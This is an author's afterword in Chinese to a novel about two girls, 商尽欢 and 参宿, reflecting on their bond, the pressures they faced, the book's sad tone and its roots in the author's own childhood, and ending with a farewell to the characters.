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这样两个人相遇,是一种奇妙的组合。在特定的环境中,她们之间滋生出一种独特的情感联结。在那个狭小的出租屋里,她们曾经紧紧握住彼此的手,相互取暖,坚定地走下去。 但现实的压力无处不在。学业的重担、家庭的期待、他人的眼光,都成为她们之间的隔阂。友情中常见的第三者问题也出现了,这些都是现实中不可避免的考验。 难得的是,尽管经历了这些,她们最终还是突破了重重困难,重新走到了一起。破镜能够重圆,实属不易。 我写这篇文,原本是想探讨人该如何与过去和解。但写到最后,我发现自己也给不出答案。就像参宿老了之后,患上阿尔兹海默症,明明已经忘记了一切,却依然执着地守在那片花田里,等待着那个永远不会到来的人。 过往的痛苦,真的很难真正和解。 这本书与我的个人经历密切相关。我的童年和青春时代,也经历过类似的事情。在创作过程中,我私心地通过这两个角色,弥补了一些现实中的遗憾。 商尽欢最后选择不顾一切地维护参宿,她们之间那种深厚的情感羁绊,这些都是我所向往的。我把这些特质赋予她们,让她们活成了我心目中理想的模样。 整个故事的基调,我自己觉得是挺悲伤、也挺无力的。面对学业压力、家人的期望、老师的冷眼、同学的流言、和朋友之间的矛盾……她们大多时候都无力改变什么。 我没有给这个故事一个被美化过的结局,但如果真的有平行时空,我真的希望她们能在那个世界里,拥有对抗一切的勇气,和源源不断的生命力。 再见商尽欢,再见参宿。 我爱你们。 这本书,献给我的童年,也献给我的青春。 谢谢你看到这里,生活愉快,得偿所愿。